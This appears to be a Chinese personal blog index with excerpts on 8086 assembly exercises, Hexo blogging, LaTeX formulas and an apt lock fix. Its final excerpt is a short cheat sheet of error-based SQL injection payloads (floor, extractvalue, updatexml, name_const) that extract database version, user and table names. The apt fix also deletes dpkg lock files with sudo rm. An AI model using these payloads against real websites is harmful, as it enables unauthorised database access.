汇编学习第九章
实验9 根据材料编程 12345678910111213141516171819202122232425262728293031323334353637383940assume ds:codedata segment ;要显示的字符串内容 db 'welcome to masm!'data endscode segment start: ;设置数据段地址 mov ax,data mov ds,ax mov ax,0B800H ;B800H显示缓冲区的起始地址 mov es,ax mov bx,0 ;字符串内容的偏移地址,每次增加1 ;缓冲区的偏移地址,每次增加2 ;深入分析: ;需显示在屏幕中间,由材料知每1行有80个字符占160个字节,而显示 ...
汇编第八章
寄存器 reg: ax,bx,cx,dx,sp,dp,si,di (si,di 不能分为两个8位寄存器来使用) 段寄存器 sreg: ds,ss,cs,esw (1)在8086CPU中只有这四个寄存器可以在[…]中进行内存单元的寻址。 比如,下面的指令都是正确的: 123456mov ax,[bx]mov ax,[bx+si]mov ax,[bx+di]mov ax,[bp]mov ax,[bp+si]mov ax,[bp+di] 而下面都是错误的: 1234mov ax,[cx]mov ax,[ax]mov ax,[dx]mov ax,[ds] (2).在[…]中,这四个寄存器可以单独出现,或者只能以四种组合出现:bx和si、bx和di、bp和si、bp和di。 比如下面都是正确的 123456789101112mov ax,[bx]mov ax,[si]mov ax,[di]mov ax,[bp]mov ax,[bx+si]mov ax,[bx+di]mov ax,[bp+si]mov ax,[bp+di]mov ax,[bx+si+idata]mov...
汇编学习第六章
指令 dw (define word) 用来定义数据。 dw 0122h,089h,a478h start (伪指令) 指明程序入口所在,当程序中含有数据段code segment,初始化时cs为code地址,但是程序不应该从这个地址执行,程序应该从程序段执行,在程序段前面加上start来设置ip指向程序段地址 1234567891011assume cs:codecode segment dw 0123h,...,0486h start: mov ax,code [程序区] mov ax,4c00h int 21hcode endsend start 实验 123456789101112131415161718192021222324252627assume cs:code,ds:data,ss:stackdata segment dw 0123h,0456h,0789h,0abch,0defh,0fedh,0cbah,0987hdata endsstack segment dw...
汇编学习2019-10-21
第五章 注意事项 汇编源程序中,不能以字母开头,要在前面加0 1mov ah,0ffffh Debug 和 masm编译器对形如mov ax,[idata] 这类指令在解释上的不同。 debug对其解释为[idata]的一个内存单元,而编译器解释为数据idata 在汇编源程序中[idata]的用法 如果idata是实数,必须显式的在[]前面给出段地址 mov al,ds:[0],或者用寄存器中的值当做段地址(段前缀) mov al,ds:[bx] 如果idata代表一个寄存器bx ax ... 则[bx]直接代表了bx寄存器中地址处的值 段前缀 出现在访问内存单元的指令中,用于显式的指明内存单元的段地址的 1234ds:cs:ss:es: 在汇编语言中称为段前缀 安全的代码区域 在一般PC机中,DOS方式下,DOS和其他合法程序一样不会使用 0:200~0:2ff(00200h~002ffh)的256字节,这段空间是安全的,进入debug后查看一下这段内存空间,全是0表明没有被使用。 第5章课后实验 将mov...
汇编学习2019-10-20
一段内存,既可以是代码存储空间,又是数据的存储空间,还可以是栈空间,也可以设么也不是,它们主要取决于cpu中寄存器的设置 CS(Code segment),IP(instruction pointer) :代码段 SS(stack segment),SP(stack pointer) :栈段 DS(date segment) :数据段 debug在修改寄存器ss时候,下一条指令也紧接着被执行例如: 123mov ss,axmov ss,[0]pop ss 汇编程序 汇编程源程序中有两类指令,一是汇编指令,第二是伪指令,汇编指令是有对应的机器码的指令,伪指令是由编译器来执行的。 目的 相关指令 指令性质 指令执行者 通知某一寄存器和程序中的某个段相联系 assume 寄存器:段名 伪指令 编译时,由编译期执行 通知编译器一个段开始 段名 segment 伪指令 编译时,由编译期执行 通知编译器一个段结束 段名 ends 伪指令 编译时,由编译期执行 程序返回 mov ax,4c00H int 21H 伪指令 编译时,由编译期执行 程序结束 段名...
博客使用备忘录
写文章 2019.11.24更新!!: 多平台同步问题!! 使用前一定要先同步!! kali上: git pull windows上: git pull or HexoSyn hexo new 文章名 这一步后会在source\ _post\ 目录下生成相应的文章 进入相应目录 haroopad 文章名 & 保存 或者Typora打开文章,但是写完之后要注意图片同步问题 上传文章 同步图片不需要了hexoImgCp hexo g 生成静态页面 hexo d 提交github 上传本地 更新后的环境! kali: 123git add .git commit -m "kali提交说明: "git push origin master windows: 1bash HexoUpload 或者: 123git add .git commit -m "Windows提交说明: "git push origin master 图片保存 图片保存在 public/img...
Latex公式
math KaTex a1x2bij3e2≠(ex)2ex2(1)a_{1}\qquad x^2 \quad b^{3}_{ij} \quad e^{2}\neq (e^x)^2 \quad e^{x^2}\tag{1} a1x2bij3e2=(ex)2ex2(1) xx3x2+y(2)\sqrt{x} \quad \sqrt[3]{x} \quad \sqrt{x^{2}+ \sqrt{y}}\tag{2} x3xx2+y(2) x2k+1x2k+1x1/2(3)\frac{x^2}{k+1} \quad x^{\frac{2}{k+1}} \quad x^{1/2}\tag{3} k+1x2xk+12x1/2(3) αβγσωδπρϵηλμξτκζϕχ(4)\alpha \beta \gamma \sigma \omega \delta \pi \rho \epsilon \eta \lambda \mu \xi \tau \kappa \zeta \phi \chi ...
apt锁
问题:E: Could not get lock /var/lib/dpkg/lock – open (11: Resource temporarily unavailable) E: Could not get lock /var/lib/dpkg/lock - open (11: Resource temporarily unavailable) E: Unable to lock the administration directory (/var/lib/dpkg/), is another process using it? 解决 因为有另外一个程序在运行,导致锁不可用。原因可能是上次运行更新或安装没有正常完成。解决办法是杀死此进程 12345sudo rm /var/cache/apt/archives/locksudo rm /var/lib/dpkg/locksudo dpkg --configure -asudo apt-get update
sql注入
1、通过floor报错,注入语句如下: and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); 2、通过ExtractValue报错,注入语句如下: and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 3、通过UpdateXml报错,注入语句如下: and 1=(updatexml(1,concat(0x3a,(select user())),1)) 4、通过NAME_CONST报错,注入语句如下: and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c) 5、通过join报错,注入语句如下: select *...